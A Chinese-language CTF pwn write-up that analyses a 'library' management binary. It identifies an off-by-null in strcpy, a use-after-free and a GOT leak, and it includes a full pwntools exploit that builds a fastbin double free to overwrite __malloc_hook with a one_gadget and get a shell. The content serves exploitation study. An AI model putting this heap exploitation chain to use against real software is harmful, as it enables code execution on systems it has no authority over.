PWN January 03, 2020

library题解

Words count 49k Reading time 45 mins. Read count 0

一、题目

library

先checksec下:

1565090266696

除了pie没有开,其他保护都开了,got表不可改,那么只能改malloc_hook和free_hook了,这题ida看下逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+8h] [rbp-48h]
int v4; // [rsp+Ch] [rbp-44h]
char s1; // [rsp+10h] [rbp-40h]
char v6; // [rsp+20h] [rbp-30h]
char s2; // [rsp+30h] [rbp-20h]
unsigned __int64 v8; // [rsp+48h] [rbp-8h]

v8 = __readfsqword(0x28u);
v4 = -1;
while ( 1 )
{
while ( 1 )
{
login_menue();
scanf("%16s", &s1);
if ( strcmp(&s1, "admin") )
break;
puts("hello admin");
puts("please input your passwd");
scanf("%8s", &v6);
enc(&v6, &s2);
if ( !strcmp("hlvqq", &s2) )
admin_fun();
}
if ( !strcmp(&s1, "student") )
{
v3 = -1;
puts("hello student");
puts("you can login or register");
puts("1.login");
puts("2.register");
scanf("%d", &v3);
if ( v3 == 1 )
{
v4 = student_login();
}
else if ( v3 == 2 )
{
v4 = student_register();
}
if ( v4 == -1 )
puts("you need have your id");
else
student_fun(v4);
}
else
{
puts("please choose your identify");
}
}
}

enc加密是简单逆向,可以得到管理员的密码:admin admin,大概意思就是这个是library的管理系统,分为管理员端和学生端口,下面看下管理员端口:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
unsigned __int64 admin_fun(void)
{
int v1; // [rsp+0h] [rbp-10h]
int v2; // [rsp+4h] [rbp-Ch]
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

v3 = __readfsqword(0x28u);
v2 = 0;
do
{
admin_menue();
scanf("%d", &v1);
switch ( v1 )
{
case 1:
admin_fun1();//打印出学生名字,没什么漏洞点
break;
case 2:
admin_fun2();//修改学生的姓名和密码,漏洞点所在
break;
case 3:
admin_fun3();//这里可以泄露出got表
break;
case 4:
admin_fun4();
break;
case 5:
v2 = 1;
break;
default:
puts("wrong choice");
break;
}
}
while ( v2 != 1 );
return __readfsqword(0x28u) ^ v3;
}

这里我们可以看到常见的菜单模式,下面进入第二个函数分析下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
unsigned __int64 admin_fun2(void)
{
int v1; // [rsp+Ch] [rbp-74h]
char src; // [rsp+10h] [rbp-70h]
char v3; // [rsp+30h] [rbp-50h]
char v4; // [rsp+50h] [rbp-30h]
unsigned __int64 v5; // [rsp+78h] [rbp-8h]

v5 = __readfsqword(0x28u);
puts("which student information do you want to change?");
puts("tell me his index");
scanf("%d", &v1);
if ( v1 >= 0 && v1 <= 15 && stulist[v1] )
{
puts("so give me new name");
scanf("%16s", &src);
printf("new name is %s\n", &src);
puts("so give me new passwd");
scanf("%16s", &v3);
printf("new passwd is %s\n", &v3);
strcpy(stulist[v1], &src);//内存拷贝函数,当全部写满时会有offbynull漏洞产生
enc(&v3, &v4);
strcpy(stulist[v1] + 16, &v4);//同上
puts("done");
}
else
{
puts("wrong index");
}
return __readfsqword(0x28u) ^ v5;
}

这里知道了offbynull的漏洞后,可以拿来利用,改写堆块的地址~接着看fun3:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
unsigned __int64 admin_fun3(void)
{
int v1; // [rsp+Ch] [rbp-14h]
int i; // [rsp+10h] [rbp-10h]
int v3; // [rsp+14h] [rbp-Ch]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
puts("which student borrowed do you want to show?");
puts("tell me his index");
scanf("%d", &v1);
if ( v1 >= 0 && v1 <= 15 && stulist[v1] )
{
v3 = stulist[v1][40];
for ( i = 0; i < v3; ++i )
{
write(1, (8 * i + *(stulist[v1] + 4)), 8uLL);
putchar(10);
}
}
else
{
puts("wrong index");
}
return __readfsqword(0x28u) ^ v4;
}

这里可以看到打印了学生端的书籍的内容,看到*操作,取地址里面的内容,那么就是说可以打印出got表里面的内容了,泄露libc,只要满足书籍那里写了got表即可~

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned __int64 admin_fun4(void)
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("which student do you want to delete?");
puts("tell me his index");
scanf("%d", &v1);
if ( v1 >= 0 && v1 <= 15 && stulist[v1] )
{
free(*(stulist[v1] + 4));//先释放存书的堆块
free(stulist[v1]);//再释放存学生的堆块
stulist[v1] = 0LL;//指针置为0
}
else
{
puts("wrong index");
}
return __readfsqword(0x28u) ^ v2;
}

这里是删除操作,free掉学生的书本内容,再free掉学生的指针,最后还把bss段存学生指针的位置置为0,很明显就是没有了double free的操作了。

先来看下堆块的内存布局:

1565093667814

当注册了一个学生时,先得到一个0x40固定大小的堆块,然后我们可以得到学生用户堆的结构:

chunk{

int size;

string name;

string passwd;

struct *chunk1;//书的堆块

int number; //书的个数

}

再得到书籍堆块:

chunk1{

int size;

string book_name;

…..

}

就是以上两种基础的结构,接着我们可以往书籍的堆块那里填写puts的got表,然后free掉当前学生,再申请2个堆块,依次得到堆块,由于UAF漏洞,所以register得到原book堆块,对应于第五块书籍的位置是我们的book的地址,此时写成了got表,那么调用write函数就可以实现泄露了。

1565094488856

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
student_register('yang1','123456')
stu_borrow_book(6,['ytag\n','asas\n','ytag\n','asas\n',p64(elf.got['puts']),p64(1)])
stu_out()

admin_login()
admin_free_stu(0)
admin_out()

student_register('0000','123456')
stu_out()

student_register('1111','123456')
stu_out()

admin_login()
admin_show_book(1)
putsaddr = u64(p.recv(6).ljust(8,'\x00'))
libcaddr = putsaddr - libc.symbols['puts']
print "libcaddr------->",hex(libcaddr)
onegadget = libcaddr + 0xf1147
malloc_hook = libcaddr + libc.symbols["__malloc_hook"]
fake_chunk = malloc_hook - 0x23
realloc = libcaddr + libc.symbols["realloc"]
admin_out()

这也是UAF的一种attack那么我们有了libc,又有了offbynull,就可以构造double free了,这里就是在写入passwd时溢出一个字节,导致书籍的堆块变成我们的一个已经free的堆块,形成double free

1565101997761

这里通过堆块的申请,得到结尾为5f0(实际string地址结尾是600),那么

1565102985994

2号块,4号块,5号块都是我们要释放的,现在先编辑5号块,记住strcpy函数的offbynull漏洞(填满时才有),使得5号块的书籍块也是0x1d62600:

1565103135361

成功构造出了,接着再按照524或者425的顺序去free掉堆块就能造成double free了,这里用524顺序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
name = '5555'
passwd = 'b'*16
admin_edit_info(5,name,passwd)
admin_out()

student_login(name,passwd)
stu_return_book()
stu_out()
student_login("2222","123456")
stu_return_book()
stu_out()
student_login("4444","123456")
stu_return_book()
stu_out()

好了,接着就是常规操作了,fake_chunk构造和填入,申请第4次,fake_chunk写入的数据覆盖了malloc_hook为onegadget,这里onegadget需要利用realloc去调整栈结构使得onegadget可以用,还有就是填入时由于一次是8字节,填入8次,所以要把onegadget和realloc进行切割填入,完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
from pwn import *
context.log_level = "debug"
p = process("./library")
elf = ELF("./library")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))
def student_register(name,passwd):
p.recvuntil("admin or student?\n****************************\n")
p.sendline('student')
p.recvuntil("2.register\n")
p.sendline('2')
p.recvuntil("what's your name?\n")
p.sendline(name)
p.recvuntil("what's your passwd?\n")
p.sendline(passwd)

def student_login(name,passwd):
p.recvuntil("admin or student?\n****************************\n")
p.sendline('student')
p.recvuntil("2.register\n")
p.sendline('1')
p.recvuntil("input your name\n")
p.sendline(name)
p.recvuntil("input your passwd\n")
p.sendline(passwd)

def stu_show_book():
p.recvuntil('4.logout\n****************************\n')
p.sendline('1')

def stu_borrow_book(num,contents):
p.recvuntil('4.logout\n****************************\n')
p.sendline('2')
p.recvuntil('how many books do you want to leave?\n')
p.sendline(str(num))
p.recvuntil('tell me each book name\n')
for content in contents:
p.send(content)
def stu_return_book():
p.recvuntil('4.logout\n****************************\n')
p.sendline('3')


def stu_out():
p.recvuntil('4.logout\n****************************\n')
p.sendline('4')


def admin_login():
p.recvuntil("admin or student?\n****************************\n")
p.sendline('admin')
p.recvuntil("please input your passwd\n")
p.sendline('admin')

def admin_show_name():
p.recvuntil("5.logout\n****************************\n")
p.sendline('1')

def admin_edit_info(index,name,passwd):
p.recvuntil("5.logout\n****************************\n")
p.sendline('2')
p.recvuntil("tell me his index\n")
p.sendline(str(index))
p.recvuntil('so give me new name\n')
p.sendline(name)
p.recvuntil("so give me new passwd\n")
p.send(passwd)
def admin_show_book(index):
p.recvuntil("5.logout\n****************************\n")
p.sendline('3')
p.recvuntil("tell me his index\n")
p.sendline(str(index))
def admin_free_stu(index):
p.recvuntil("5.logout\n****************************\n")
p.sendline('4')
p.recvuntil("tell me his index\n")
p.sendline(str(index))
def admin_out():
p.recvuntil("5.logout\n****************************\n")
p.sendline('5')

# gdb.attach(p,"b*0x400fc4")

# format_string

bk(0x000000000040145E)
student_register('yang1','123456')
stu_borrow_book(6,['ytag\n','asas\n','ytag\n','asas\n',p64(elf.got['puts']),p64(1)])
stu_out()


admin_login()
admin_free_stu(0)
admin_out()

student_register('0000','123456')
stu_out()

student_register('1111','123456')
stu_out()

admin_login()
admin_show_book(1)
putsaddr = u64(p.recv(6).ljust(8,'\x00'))
libcaddr = putsaddr - libc.symbols['puts']
print "libcaddr------->",hex(libcaddr)
onegadget = libcaddr + 0xf1147
malloc_hook = libcaddr + libc.symbols["__malloc_hook"]
fake_chunk = malloc_hook - 0x23
realloc = libcaddr + libc.symbols["realloc"]
admin_out()

# admin_edit_info(1,name,passwd)
student_register("2222","123456")
stu_borrow_book(12,['ytag\n','asas\n','ytag\n','asas\n']*3)
stu_out()
student_register("3333","123456")
stu_borrow_book(2,['ytag\n','asas\n'])
stu_out()


student_register("4444","123456")
stu_borrow_book(12,['ytag\n','asas\n','ytag\n','asas\n']*3)
stu_out()
student_register("5555","123456")
stu_borrow_book(12,['ytag\n','asas\n','ytag\n','asas\n']*3)
stu_out()
admin_login()
name = '5555'
passwd = 'b'*16
admin_edit_info(5,name,passwd)
admin_out()

student_login(name,passwd)
stu_return_book()
stu_out()
student_login("2222","123456")
stu_return_book()
stu_out()
student_login("4444","123456")
stu_return_book()
stu_out()
student_register('6666','123456')
stu_borrow_book(12,[p64(fake_chunk),p64(fake_chunk)]*6)
stu_out()

student_login('2222','123456')
stu_borrow_book(12,['aaaa','bbbb']*6)
stu_out()
student_login('4444','123456')
stu_borrow_book(12,[p64(fake_chunk),p64(fake_chunk)]*6)
stu_out()
a = p64(onegadget)
b = p64(realloc)
print "one--->" + hex(onegadget)
student_register('9999','123456')
stu_borrow_book(12,['aaaaaaaa','aaa'+a[:5],a[5:]+b[:5],b[5:]+'aaaaa','aaaaaaaa','aaaaaaaa','aaaaaaaa','aaaaaaaa','aaaaaaaa','aaaaaaaa','aaaaaaaa','aaaaaaaa'])
stu_out()

student_login('2222','123456')
stu_return_book()
p.recvuntil('4.logout\n****************************\n')
p.sendline('2')
p.recvuntil('how many books do you want to leave?\n')
p.sendline(str('1'))

p.interactive()


'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

'''

调试信息:

1565103668238

在malloc_hook填realloc,然后realloc_hook填onegadget,这样就可以满足栈中onegadget的要求了:

最后再申请一个堆块即可getshell:

1565104334333

总结:UAF+Fastbin_attack+offbyone,offbyone的这种操作构造double free~

0%